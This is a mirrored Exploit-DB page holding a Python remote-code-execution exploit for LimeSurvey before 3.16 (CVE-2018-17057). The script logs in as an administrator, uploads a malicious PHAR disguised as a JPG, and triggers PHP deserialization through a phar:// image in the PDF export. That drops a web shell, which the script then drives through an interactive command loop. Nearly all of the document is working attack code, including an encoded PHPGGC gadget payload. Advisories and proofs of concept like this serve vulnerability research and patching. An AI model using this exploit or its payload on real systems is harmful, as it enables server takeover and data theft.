LimeSurvey < 3.16 - Remote Code Execution

  • 作者: q3rv0
    日期: 2019-04-02
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46634/
  • #!/usr/bin/python
    
    # Description: LimeSurvey < 3.16 use a old version of "TCPDF" library, this version is vulnerable to a Serialization Attack via the "phar://" wrapper.
    # Date: 29/03/2019
    # Exploit Title: Remote Code Execution in LimeSurvey < 3.16 via Serialization Attack in TCPDF.
    # Exploit Author: @q3rv0
    # Google Dork:
    # Version: < 3.16
    # Tested on: LimeSurvey 3.15
    # PoC: https://www.secsignal.org/news/remote-code-execution-in-limesurvey-3-16-via-serialization-attack-in-tcpdf
    # CVE: CVE-2018-17057
    # SecSignal is: <3
    # Usage: python exploit.py [URL] [USERNAME] [PASSWORD]
    
    import requests
    import sys
    import re
    
    SESSION = requests.Session()
    
    # Malicious PHAR generated with PHPGGC.
    # ./phpggc Yii/RCE1 system "echo 3c3f7068702073797374656d28245f4745545b2263225d293b203f3e0a | xxd -r -p > shell.php" -p phar -o /tmp/exploit.jpg
    
    PHAR= ("\x3c\x3f\x70\x68\x70\x20\x5f\x5f\x48\x41\x4c\x54\x5f\x43\x4f\x4d\x50\x49\x4c\x45\x52\x28\x29\x3b\x20\x3f\x3e\x0d\x0a\x38"
     "\x02\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x02\x00\x00\x4f\x3a\x31\x31\x3a\x22\x43\x44\x62"
     "\x43\x72\x69\x74\x65\x72\x69\x61\x22\x3a\x31\x3a\x7b\x73\x3a\x36\x3a\x22\x70\x61\x72\x61\x6d\x73\x22\x3b\x4f\x3a\x31\x32"
     "\x3a\x22\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x22\x3a\x33\x3a\x7b\x73\x3a\x31\x36\x3a\x22\x00\x43\x4d\x61\x70"
     "\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x64\x22\x3b\x4f\x3a\x31\x30\x3a\x22\x43\x46\x69\x6c\x65\x43\x61\x63\x68\x65\x22"
     "\x3a\x37\x3a\x7b\x73\x3a\x39\x3a\x22\x6b\x65\x79\x50\x72\x65\x66\x69\x78\x22\x3b\x73\x3a\x30\x3a\x22\x22\x3b\x73\x3a\x37"
     "\x3a\x22\x68\x61\x73\x68\x4b\x65\x79\x22\x3b\x62\x3a\x30\x3b\x73\x3a\x31\x30\x3a\x22\x73\x65\x72\x69\x61\x6c\x69\x7a\x65"
     "\x72\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x31\x3b\x73\x3a\x36\x3a\x22\x73\x79\x73\x74\x65\x6d\x22\x3b\x7d\x73\x3a\x39\x3a"
     "\x22\x63\x61\x63\x68\x65\x50\x61\x74\x68\x22\x3b\x73\x3a\x31\x30\x3a\x22\x64\x61\x74\x61\x3a\x74\x65\x78\x74\x2f\x22\x3b"
     "\x73\x3a\x31\x34\x3a\x22\x64\x69\x72\x65\x63\x74\x6f\x72\x79\x4c\x65\x76\x65\x6c\x22\x3b\x69\x3a\x30\x3b\x73\x3a\x31\x31"
     "\x3a\x22\x65\x6d\x62\x65\x64\x45\x78\x70\x69\x72\x79\x22\x3b\x62\x3a\x31\x3b\x73\x3a\x31\x35\x3a\x22\x63\x61\x63\x68\x65"
     "\x46\x69\x6c\x65\x53\x75\x66\x66\x69\x78\x22\x3b\x73\x3a\x31\x34\x30\x3a\x22\x3b\x62\x61\x73\x65\x36\x34\x2c\x4f\x54\x6b"
     "\x35\x4f\x54\x6b\x35\x4f\x54\x6b\x35\x4f\x57\x56\x6a\x61\x47\x38\x67\x4d\x32\x4d\x7a\x5a\x6a\x63\x77\x4e\x6a\x67\x33\x4d"
     "\x44\x49\x77\x4e\x7a\x4d\x33\x4f\x54\x63\x7a\x4e\x7a\x51\x32\x4e\x54\x5a\x6b\x4d\x6a\x67\x79\x4e\x44\x56\x6d\x4e\x44\x63"
     "\x30\x4e\x54\x55\x30\x4e\x57\x49\x79\x4d\x6a\x59\x7a\x4d\x6a\x49\x31\x5a\x44\x49\x35\x4d\x32\x49\x79\x4d\x44\x4e\x6d\x4d"
     "\x32\x55\x77\x59\x53\x42\x38\x49\x48\x68\x34\x5a\x43\x41\x74\x63\x69\x41\x74\x63\x43\x41\x2b\x49\x48\x4e\x6f\x5a\x57\x78"
     "\x73\x4c\x6e\x42\x6f\x63\x41\x3d\x3d\x22\x3b\x7d\x73\x3a\x31\x39\x3a\x22\x00\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f"
     "\x72\x00\x5f\x6b\x65\x79\x73\x22\x3b\x61\x3a\x31\x3a\x7b\x69\x3a\x30\x3b\x69\x3a\x30\x3b\x7d\x73\x3a\x31\x38\x3a\x22\x00"
     "\x43\x4d\x61\x70\x49\x74\x65\x72\x61\x74\x6f\x72\x00\x5f\x6b\x65\x79\x22\x3b\x69\x3a\x30\x3b\x7d\x7d\x08\x00\x00\x00\x74"
     "\x65\x73\x74\x2e\x74\x78\x74\x04\x00\x00\x00\x36\xad\x9d\x5c\x04\x00\x00\x00\x0c\x7e\x7f\xd8\xb6\x01\x00\x00\x00\x00\x00"
     "\x00\x74\x65\x73\x74\xcc\xd9\x99\xbd\x5e\x65\x4e\x03\x9b\x90\xdd\xd5\x8b\xff\x28\xd2\x37\x8b\x23\xe5\x02\x00\x00\x00\x47"
     "\x42\x4d\x42")
    
    def usage():
    if len(sys.argv) != 4:
    print "Usage: python exploit.py [URL] [USERNAME] [PASSWORD]"
    sys.exit(0)
    
    def get(url):
    	r = SESSION.get(url, verify=False)
    	return r.text
    
    def post(url, data={}, files=None, headers=None):
    	r = SESSION.post(url, data=data, headers=headers, files=files, verify=False)
    	return r.text
    
    def getYIICSRFToken(url):
    	res = get(url)
    	token = re.findall(r'value="(.*)" name="YII_CSRF_TOKEN"', res)
    	return token[0] 
    
    def getKCSRFToken(url):
    	res = get(url)
    	token = re.findall(r'csrftoken = "(.*)";', res)
    	return token[0]
    
    def login(url, username, password):
    	token = getYIICSRFToken(url)
    	data = {"YII_CSRF_TOKEN" : token,
    	"authMethod" : "Authdb", 
    	"user" : username,
    	"password" : password,
    	"loginlang": "default",
    	"action" : "login",
    	"width": "1366",
    	"login_submit" : "login"
    	 }
    	res = post(url, data)
    	if len(re.findall("loginform", res)) == 0:
    		return True
    	else:
    	return False
    
    def emailTemplates(url):
    return get(url)	
    
    def createSurvey(url_newsurvey, url_insert):
    	token = getYIICSRFToken(url_newsurvey)
    	data = {"YII_CSRF_TOKEN" : token,
    	"surveyls_title" : "Survey Example - SecSignal",
    	"language" : "en",
    	"createsample" : "0",
    	"description": "foo",
    	"url": "",
    	"urldescrip" : "",
    	"dateformat" : "1",
    	"numberformat_en": "0",
    	"welcome": "bar",
    	"endtext": "asdf",
    	"owner_id" : "1",
    	"admin": "Administrator",
    	"adminemail" : "test%40gsecsignal.org",
    	"bounce_email" : "test%40gsecsignal.org",
    	"faxto": "",
    	"gsid" : "1",
    	"format" : "G",
    	"template" : "fruity",
    	"navigationdelay": "0",
    	"questionindex": "0",
    	"showgroupinfo": "B",
    	"showqnumcode" : "X",
    	"shownoanswer" : "Y",
    	"showxquestions" : "0",
    	"showxquestions" : "1",
    	"showwelcome": "0",
    	"showwelcome": "1",
    	"allowprev": "0",
    	"nokeyboard" : "0",
    	"showprogress" : "0",
    	"showprogress" : "1",
    	"printanswers" : "0",
    	"publicstatistics" : "0",
    	"publicgraphs" : "0",
    	"autoredirect" : "0",
    	"startdate": "",
    	"expires": "",
    	"listpublic" : "0",
    	"usecookie": "0",
    	"usecaptcha_surveyaccess" : "0",
    	"usecaptcha_registration" : "0",
    	"usecaptcha_saveandload": "0",
    	"datestamp" : "0",
    	"ipaddr": "0",
    	"refurl": "0",
    	"savetimings" : "0",
    	"assessments" : "0",
    	"allowsave" : "0",
    	"allowsave" : "1",
    	"emailnotificationto" : "",
    	"emailresponseto" : "",
    	"googleanalyticsapikeysetting" : "N",
    	"googleanalyticsstyle" : "0",
    	"tokenlength": "15",
    	"anonymized" : "0",
    	"tokenanswerspersistence": "0",
    	"alloweditaftercompletion" : "0",
    	"allowregister": "0",
    	"htmlemail": "0",
    	"htmlemail": "1",
    	"sendconfirmation" : "0",
    	"sendconfirmation" : "1",
    	"saveandclose" : "1"
    	 }
    	res = post(url_insert, data)
    	surveyid = re.findall(r'surveyid\\/([0-9]+)', res)
    	return surveyid[0] # Return SurveyiD
    
    def uploadPHAR(url_upload, url_csrf_token, phar):
    	kcfinder_csrftoken = getKCSRFToken(url_csrf_token)
    	files = {'upload[]': ('malicious.jpg', phar)}
    	data= {"dir": "files",
    	 "kcfinder_csrftoken" : kcfinder_csrftoken
    	}
    	res = post(url_upload, data, files)
    	return res
    
    def pdfExport(url_pdf_export, surveyid):
    	token = getYIICSRFToken(url_pdf_export + surveyid)
    	data = {"save_language" : "en",
    	"queXMLStyle" : '<h1>Stage 2</h1><img src="phar://./upload/surveys/'+ surveyid + '/files/malicious.jpg">',
    	"queXMLSingleResponseAreaHeight" : "9",
    	"queXMLSingleResponseHorizontalHeight" : "10.5",
    	"queXMLQuestionnaireInfoMargin" : "5",
    	"queXMLResponseTextFontSize" : "10",
    	"queXMLResponseLabelFontSize" : "7.5",
    	"queXMLResponseLabelFontSizeSmall" : "6.5",
    	"queXMLSectionHeight" : "18",
    	"queXMLBackgroundColourSection" : "221",
    	"queXMLBackgroundColourQuestion" : "241",
    	"queXMLAllowSplittingSingleChoiceHorizontal" : "0",
    	"queXMLAllowSplittingSingleChoiceHorizontal" : "1",
    	"queXMLAllowSplittingSingleChoiceVertical" : "0",
    	"queXMLAllowSplittingSingleChoiceVertical" : "1",
    	"queXMLAllowSplittingMatrixText" : "0",
    	"queXMLAllowSplittingMatrixText" : "1",
    	"queXMLAllowSplittingVas" : "0",
    	"queXMLPageOrientation" : "P",
    	"queXMLPageFormat" : "A4",
    	"queXMLEdgeDetectionFormat" : "lines",
    	"YII_CSRF_TOKEN" : token,
    	"ok" : "Y"}
    	res = post(url_pdf_export + surveyid, data)
    	return res
    
    def shell(url):
    r = requests.get("%s/shell.php" % url)
    if r.status_code == 200:
     print "[+] Pwned! :)"
     print "[+] Getting the shell..."
     while 1:
     try:
     input = raw_input("$ ")
     r = requests.get("%s/shell.php?c=%s" % (url, input))
     print r.text
     except KeyboardInterrupt:
     sys.exit("\nBye kaker!")
    else:
    print "[*] The site seems not to be vulnerable :("
    
    def main():
    usage()
    url= sys.argv[1] # URL
    username = sys.argv[2] # Username
    password = sys.argv[3] # Password
    url_login = "%s/index.php/admin/authentication/sa/login" % url
    
    print "[*] Logging in to LimeSurvey..."
    if login(url_login, username, password):
    
    url_newsurvey = "%s/index.php/admin/survey/sa/newsurvey" % url
    url_insert = "%s/index.php/admin/survey/sa/insert" % url
    
    print "[*] Creating a new Survey..."
    surveyid = createSurvey(url_newsurvey, url_insert) 
    print "[+] SurveyID: %s" % surveyid
    
    email_templates = "%s/index.php/admin/emailtemplates/sa/index/surveyid/%s" % (url, surveyid)
    
    emailTemplates(email_templates)
    
    url_csrf_token = "%s/third_party/kcfinder/browse.php?opener=custom&type=files&CKEditor=email_invitation_en&langCode=en" % url
    url_upload = "%s/third_party/kcfinder/browse.php?type=files&lng=en&opener=custom&act=upload" % url
    
    print "[*] Uploading a malicious PHAR..."
    uploadPHAR(url_upload, url_csrf_token, PHAR)
    
    url_pdf_export = "%s/index.php/admin/export/sa/quexml/surveyid/" % url
    
    print "[*] Sending the Payload..."
    export_response = pdfExport(url_pdf_export, surveyid)
    print "[*] TCPDF Response: %s" % export_response
    
    shell(url)
    else:
    print "[-] Bad credentials :("
    
    if __name__ == "__main__":
    main()